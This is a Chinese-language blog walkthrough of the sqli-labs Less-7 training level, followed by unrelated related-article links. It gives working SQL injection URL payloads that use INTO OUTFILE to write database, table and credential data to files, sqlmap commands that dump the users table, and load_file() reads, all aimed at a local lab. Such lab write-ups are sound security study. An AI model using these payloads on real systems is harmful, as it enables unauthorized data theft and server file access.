sqli-labs:Less-7關卡詳細解析

1. 思路🚀

本關的SQL語句為:

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
  • 注入類型:字符串型(單引號、雙括號包裹)
  • 提示:參數id需以'))閉合

同樣無法像常規一樣回顯,php輸出語句的代碼如下:

	if($row){echo '<font color= "#FFFF00">';	echo 'You are in.... Use outfile......';echo "<br>";echo "</font>";}

對于無回顯的情況,我們會想到:

  • 布爾盲注:邏輯判斷?
  • 時間盲注:延時判斷?
  • 報錯盲注:報錯回顯?

我用sqlmap掃到了布爾盲注與時間盲注,但根據提示是想要我們通過MySQL的load_file(文件讀取)和into outfile(文件寫入)來解決本關卡,先搞into outfile(),再搞load_file()

在這里插入圖片描述


2. 條件🧩

對這個關卡感觀不好,是因為要求挺多的,還是找了不少文章+AI輔助才解決本關卡。首先需要打開MySQL的命令行,查看secure_file_priv的值。

含義是否允許文件操作
具體路徑僅允許操作該目錄下的文件(如你的 D:\...\Uploads\? 有條件允許
NULL禁止所有文件導入/導出操作? 完全禁止
空字符串 ''允許操作任意路徑的文件(高危!? 完全允許

我的屬于具體路徑,截圖展示:
在這里插入圖片描述
這就意味著,我必須在指定的路徑中進行文件讀寫,當然我可以修改這個路徑,可修改的位置在MySQL安裝時的my.ini中,具體修改位置:
在這里插入圖片描述
一定要MySQL80服務的,不然不會生效。出于學習的目的,我就不改路徑了,大家隨意。

3. 手工注入步驟🎯

我的地址欄是:http://localhost:8081/Less-7/,只需要將下面的sql語句粘貼即可。

3.1. 正常請求?

?id=1

在這里插入圖片描述

說明:測試回顯情況


3.2. 判斷字段數?

?id=-1')) order by 4 --+
  • order by 4:探測字段數(報錯說明字段數=3)

在這里插入圖片描述


3.3. 寫入基礎信息?

?id=-1')) union select database(),version(),user() into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt" --+

在這里插入圖片描述

在這里插入圖片描述


3.4. 寫入表名?

?id=-1')) union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = 'security' into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\2.txt" --+

在這里插入圖片描述


3.5. 寫入字段?

?id=-1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\3.txt" --+

在這里插入圖片描述


3.6. 寫入數據?

?id=-1')) union select 1,username,password from users into outfile "D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\4.txt" --+

因為updatexml()函數最多顯示32位數據,建議使用concat()搭配limit + offset使用,例如limit n,1,n為起始位置。
在這里插入圖片描述


3.7. 參數匯總表?

參數作用示例
'))閉合符號id=1'))
--+注釋符--+
order by判斷字段數order by 4
union select聯合查詢union select 1,2,3
group_concat()合并結果group_concat(table_name)
information_schema系統數據庫from information_schema.tables
table_schema數據庫名稱table_schema='security'
table_name數據表名稱table_name='users'
column_name字段名稱group_concat(column_name)

4. SQLMap工具測試🎯

url地址換成自己的,后面一定要加上id=1,比如:http://localhost:8081/Less-7/?id=1

# 檢測注入點
python sqlmap.py -u "http://localhost:8081/Less-7/?id=1" --batch# 爆數據庫
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆數據
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch

命令1截圖:
在這里插入圖片描述

命令5截圖:
在這里插入圖片描述

SQLMap參數表?

參數功能
--batch非交互模式
--dbs枚舉數據庫
-D指定數據庫
-T指定表
-C指定列
--dump導出數據

5. 讀取文件🔍

load_file()into outfile()是成對出現的,我通過mysql命令行的方式,簡單了解下load_file()

select load_file("D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt");

在這里插入圖片描述
文件內容是十六進制編碼形式??,而非原始文本,需要改一下語句:

select convert(load_file("D:\\MySQL\\MySQL Server 8.0.31 Data\\Uploads\\1.txt") using utf8) as file_content;

在這里插入圖片描述


6. 總結🏁

剛開始我用sqlmap掃的時候,發現只有布爾盲注和時間盲注,盡管根據本題解析也能通過,但是條件未免也太嚴格了(一開始怎么知道能不能寫入文件)。


聲明:本文僅用于安全學習,嚴禁非法測試! ???

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/91277.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/91277.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/91277.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

編程算法:從理論基石到產業變革的核心驅動力

文章目錄 算法的本質與效率衡量 基礎算法范式的實踐價值 排序算法的演進與選擇 動態規劃的實用技巧 算法在現代技術棧中的應用 大數據處理的算法框架 編譯器中的算法優化 算法驅動的產業變革 金融領域的算法應用 醫療健康領域的算法創新 制造業的算法優化 算法的未來趨勢 結語 …

深度學習中的注意力機制:原理、應用與未來展望

在人工智能領域&#xff0c;深度學習技術已經取得了巨大的突破&#xff0c;而注意力機制&#xff08;Attention Mechanism&#xff09;作為深度學習中的一個重要概念&#xff0c;正在逐漸改變我們對模型的理解和應用。本文將深入探討注意力機制的原理、在不同領域的應用以及未來…

LeetCode 4:尋找兩個正序數組的中位數

LeetCode 4&#xff1a;尋找兩個正序數組的中位數問題定義與核心挑戰 給定兩個有序&#xff08;升序&#xff09;數組 nums1 和 nums2&#xff0c;要求找到它們的中位數&#xff0c;且算法時間復雜度為 O(log(mn))&#xff08;m 和 n 分別是兩個數組的長度&#xff09;。 中位數…

獨立站如何吃掉平臺蛋糕?DTC模式下的成本重構與利潤躍升

一、成本結構革命&#xff1a;從「流量稅」到「用戶終身價值」亞馬遜賣家需支付15%傭金12%廣告費&#xff0c;導致每$100收入中平臺抽成$27。而成熟獨立站通過SEO&#xff08;自然流量占比超40%&#xff09;和社交媒體內容引流&#xff0c;將獲客成本壓縮至$8-$15。更關鍵的是用…

應用驅動 協同創新:中國人工智能開啟高質量發展新篇章

人工智能技術的突破性發展正引發全球產業格局的深刻變革。在2025年這個關鍵節點&#xff0c;中國以"應用導向"為戰略支點&#xff0c;依托新型舉國體制優勢&#xff0c;正在構建具有中國特色的人工智能發展體系&#xff0c;為全球智能革命貢獻東方智慧。一、戰略布局…

ZKMall商城開源本地部署指南

1. 開發環境配置 以下是開發工具的最低版本要求。在繼續之前&#xff0c;請務必安裝所有必需的依賴項。 工具版本JDK17MySQL5.7.3Redis5.0Maven3.9.5NodeJS20.18.0 1.1 安裝資源 如需詳細的安裝指南&#xff0c;您可以參考以下教程&#xff1a; JDK: 菜鳥教程 Java 環境搭建…

《使用Qt Quick從零構建AI螺絲瑕疵檢測系統》——8. AI賦能(下):在Qt中部署YOLOv8模型

目錄一、概述1.1 背景介紹&#xff1a;從“訓練”到“部署”1.2 學習目標二、在C中集成ONNX模型2.1 準備模型文件2.2 修改Backend以加載和運行模型三、關鍵一步&#xff1a;輸出結果的后處理四、運行與驗證五、總結與展望一、概述 1.1 背景介紹&#xff1a;從“訓練”到“部署…

【動態規劃 | 多狀態問題】動態規劃求解多狀態問題

算法相關知識點可以通過點擊以下鏈接進行學習一起加油&#xff01;斐波那契數列模型路徑問題多狀態問題通常涉及多個決策點和狀態轉換&#xff0c;解決起來復雜且計算量大。動態規劃作為一種強大的算法工具&#xff0c;能夠通過將問題分解為子問題并逐步求解&#xff0c;顯著提…

【HTTP】防XSS+SQL注入:自定義HttpMessageConverter過濾鏈深度解決方案

防XSSSQL注入&#xff1a;自定義HttpMessageConverter過濾鏈深度解決方案一、安全威脅模型分析二、自定義HttpMessageConverter架構設計2.1 技術棧組成三、完整實現代碼3.1 安全過濾工具類3.2 自定義HttpMessageConverter3.3 Spring安全配置四、深度防御增強方案4.1 SQL注入參數…

學習游戲制作記錄(凍結敵人時間與黑洞技能)7.30

1.實現劍擊中敵人時凍結敵人時間Enemy腳本&#xff1a;public float defaultMoveSpeed;//默認速度defaultMoveSpeed moveSpeed;//Awake&#xff08;&#xff09;中設置public virtual void FreezeTime(bool _timeFreeze)//凍結設置函數{if (_timeFreeze){moveSpeed 0;anim.sp…

【數據結構】真題 2016

待補充已知表頭元素為c的單鏈表在內存中的存儲狀態如下表所示地址元素鏈接地址1000Ha1010H1004Hb100CH1008Hc1000H100CHdNULL1010He1004H1014H現將f存放于1014H處并插入到單鏈表中&#xff0c;若f在邏輯上位于a和e之間&#xff0c;則a, e, f的“鏈接地址”依次是&#xff08; &…

雙線串行的 “跨界對話”:I2C 與 MDIO 的異同解析

在電子系統設計中,串行總線憑借其精簡的信號線數量和靈活的拓撲結構,成為芯片間通信的主流選擇。I2C(Inter-Integrated Circuit)和 MDIO(Management Data Input/Output)作為兩種典型的雙線串行總線,雖同屬低速信號范疇,卻在各自的應用領域扮演著不可替代的角色。本文將…

算法精講:二分查找(二)—— 變形技巧

&#x1f3af; 算法精講&#xff1a;二分查找&#xff08;二&#xff09;—— 變形技巧 &#x1f50d; 友情提示&#xff1a;&#xff1a;本小節含高能代碼片段 &#x1f964; 閱讀前請確保已掌握基礎二分原理與實現代碼片段可能包含不同程度的變形&#xff0c;請根據實際情況選…

兩個程序配合實現了基于共享內存和信號量的進程間通信,具體說明如下:

第一個程序&#xff1a;共享內存讀取程序&#xff08;消費者&#xff09;該程序作為消費者&#xff0c;從共享內存中讀取數據&#xff0c;通過信號量保證只有當生產者寫入數據后才能讀取。/*4 - 讀共享內存*/ #include<stdio.h> // 標準輸入輸出庫 #inc…

JeecgBoot(1):前后臺環境搭建

1 項目介紹 JeecgBoot 是一款基于 Java 的 AI 低代碼平臺&#xff0c;它采用了 SpringBoot、SpringCloud、Ant Design Vue3、Mybatis 等技術棧&#xff0c;并集成了代碼生成器、AI 對話助手、AI 建表、AI 寫文章等功能。JeecgBoot 的設計宗旨是實現簡單功能零代碼開發&#xf…

Nestjs框架: 關于 OOP / FP / FRP 編程

概述 在軟件開發過程中&#xff0c;不同的編程范式為我們提供了多樣化的思維方式與實現路徑它們不僅影響著代碼的結構和邏輯組織方式&#xff0c;也深刻影響著項目的可維護性、可擴展性以及團隊協作效率 什么是 OOP、FP 和 FRP&#xff1f;首先從三個術語的含義入手 1 &#xf…

elememtor 添加分頁功能

各位看官好&#xff0c;最近在忙著使用elementor搭建自己的網站&#xff0c;由于我不是專業的程序員和前端&#xff0c;又沒有很多錢去找外包公司實現自己的設計&#xff0c;所以選擇了elementor. 總的來說這是一個不錯的wordpress 插件&#xff0c;也讓我們這種非專業的網站設…

關于“PromptPilot” 之2 -目標系統:Prompt構造器

目標系統&#xff1a;Prompt構造器想法首先&#xff0c;在抽象層對PromptPilot進行封裝給出提示詞形成過程的全部環節。然后&#xff0c;在 形成一套確定的提示詞后再為 小規模試點方案生成一整套開發工具并配套集成開發環境和指南。最后&#xff0c;在小規模試點成功后進行拓展…

短劇小程序系統開發:重塑影視內容消費格局

在數字化浪潮的推動下&#xff0c;影視內容消費正經歷著深刻的變革。短劇小程序系統開發作為這一變革的重要力量&#xff0c;正在重塑影視內容消費的格局&#xff0c;為用戶帶來更加個性化、便捷化的觀影體驗。傳統影視內容消費往往受到時間和空間的限制&#xff0c;用戶需要前…

一文掌握最新版本Monocle3單細胞軌跡(擬時序)分析

許多大佬的軟件想要構建一個大而美的生態&#xff0c;從 monocle2 開始就能做單細胞的質控、降維、分群、注釋這一系列的分析&#xff0c;但不幸的是我們只知道 monocle 系列還是主要做擬時序分析&#xff0c;一方面是因為 Seurat 有先發優勢&#xff0c;出名要趁早&#xff0c…